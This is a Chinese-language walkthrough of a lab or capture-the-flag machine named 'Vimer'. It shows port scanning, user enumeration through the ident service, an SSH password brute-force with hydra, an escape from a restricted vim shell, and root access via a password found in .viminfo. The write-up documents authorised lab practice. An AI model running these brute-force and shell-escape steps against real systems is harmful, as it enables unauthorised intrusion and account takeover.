主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/vimer]
└─# arp-scan -I eth1 -l

192.168.56.150  08:00:27:40:d9:83       PCS Systemtechnik GmbH
```

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/vimer]
└─# nmap -p- 192.168.56.150

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
113/tcp open  ident
```

```
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/vimer]
└─# nmap -sT -sC -sV -O -p22,80,113 192.168.56.150
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 14:38 CST
Nmap scan report for 192.168.56.150
Host is up (0.0023s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_auth-owners: vim
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Vimer
|_http-server-header: Apache/2.4.62 (Debian)
113/tcp open  ident?
|_auth-owners: vim
MAC Address: 08:00:27:86:AE:24 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.58 seconds
```

打的时候没细看，其实这里已经给出了“auth-owners: vim”

113端口

标识符-用户枚举

Ident-user-enum是一个简单的 Perl 脚本，用于查询 ident 服务（113/TCP），以确定监听目标系统每个 TCP 端口的进程的所有者。收集到的用户名列表可用于对其他网络服务进行密码猜测攻击。它可以通过以下方式安装 `apt install ident-user-enum`：

```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.1.100:22  root
192.168.1.100:113 identd
192.168.1.100:139 root
192.168.1.100:445 root
```

COPY

```
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/vimer]
└─# ident-user-enum 192.168.56.150 22 80 113
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.56.150:22       vim
192.168.56.150:80       <unknown>
192.168.56.150:113      vim
```

枚举出有个用户vim

加上在80端口没找到有用的信息，dirsearch没跑出什么，那就准备吃小爆破吧

To vim

```
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/vimer]
└─# hydra -l vim -P rockyou.txt ssh://192.168.56.150 -vV
(......)
[22][ssh] host: 192.168.56.150   login: vim   password: 000001
```

得到密码/`vim:000001`/

登录上去是个vim编辑器，且不能使用!sh拿到shell

To root

在vim编辑器的命令模式下输入`set shell?`

接下来就是把shell设置成/bin/bash

命令模式下输入`set shell=/bin/bash`是这样的就行

```
#vim命令模式下设置shell为/bin/bash
set shell=/bin/bash
#获得bash
shell
```

查看家目录文件

```
vim@Vimer:~$ ls -al
total 28
drwxr-xr-x 2 vim  vim  4096 Nov 15 23:42 .
drwxr-xr-x 3 root root 4096 Nov 15 22:20 ..
lrwxrwxrwx 1 root root    9 Nov 15 23:42 .bash_history -> /dev/null
-rw-r--r-- 1 vim  vim   220 Nov 15 22:20 .bash_logout
-rw-r--r-- 1 vim  vim  3526 Nov 15 22:20 .bashrc
-rw-r--r-- 1 vim  vim   807 Nov 15 22:20 .profile
-rw-r--r-- 1 root root   44 Nov 15 23:38 user.txt
-rw------- 1 vim  vim   652 Nov 15 23:42 .viminfo
```

有个.viminfo文件

```
vim@Vimer:~$ cat .viminfo
# This viminfo file was generated by Vim 8.2.
# You may edit it if you're careful!

# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:q
|2,0,1763268132,,"q"
:shell
|2,0,1763268109,,"shell"
:root pass is xxxxoooo
|2,0,1763268124,,"root pass is xxxxoooo"

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Debug Line History (newest to oldest):

# Registers:

# File marks:

# Jumplist (newest first):
```

```
# History of marks within files (newest to oldest):
```

其中就有“root pass is xxxxoooo”那到root用户的密码/`root:xxxxoooo`/

```
vim@Vimer:~$ su - root
Password:
root@Vimer:~# id
uid=0(root) gid=0(root) groups=0(root)
```